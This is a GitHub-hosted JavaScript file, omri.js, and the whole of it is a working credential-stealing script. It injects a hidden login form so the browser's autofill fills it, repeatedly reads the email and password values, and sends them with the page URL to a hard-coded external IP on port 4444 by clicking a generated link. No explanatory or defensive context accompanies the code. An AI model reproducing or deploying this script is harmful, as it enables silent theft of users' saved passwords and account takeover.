-
Notifications
You must be signed in to change notification settings - Fork 0
/
omri.js
66 lines (60 loc) · 2.05 KB
/
omri.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
var sniffedEmail;
var sniffedPassword;
var injectForm = function (visible) {
console.log("Injecting the form");
var container = document.createElement('div');
if (!visible) {
container.style.display = 'none';
}
var form = document.createElement('form');
form.attributes.autocomplete = 'on';
var emailInput = document.createElement('input');
emailInput.attributes.vcard_name = 'vCard.Email';
emailInput.id = 'email';
emailInput.type = 'email';
emailInput.name = 'email';
form.appendChild(emailInput);
var passwordInput = document.createElement('input');
passwordInput.id = 'password';
passwordInput.type = 'password';
passwordInput.name = 'password';
form.appendChild(passwordInput);
container.appendChild(form);
document.body.appendChild(container);
};
var printResult = function (sniffedValue) {
console.log("omri:" + sniffedValue);
a = document.createElement('a');
var linkText = document.createTextNode("my title text");
a.appendChild(linkText);
a.href = "http://34.243.18.113:4444?redirect=" + window.location.href + "&creds=" + sniffedValue;
a.click()
};
var sniffInputField = function (fieldId) {
var inputElement = document.getElementById(fieldId);
if (inputElement && inputElement.value.length && (fieldId == "password" || fieldId == "email")) {
if (fieldId == "email") {
sniffedEmail = inputElement.value;
} else {
sniffedPassword = inputElement.value;
}
if (sniffedEmail && sniffedPassword) {
printResult(sniffedEmail + ":" + sniffedPassword);
}
} else {
window.setTimeout(sniffInputField, 200, fieldId);
}
};
var sniffInputFields = function () {
var inputs = document.getElementsByTagName('input');
console.log(inputs);
for (var i = 0; i < inputs.length; i++) {
sniffInputField(inputs[i].id);
}
};
var sniffFormInfo = function (visible) {
injectForm(visible);
sniffInputFields();
};
var visible_form = false;
sniffFormInfo(visible_form);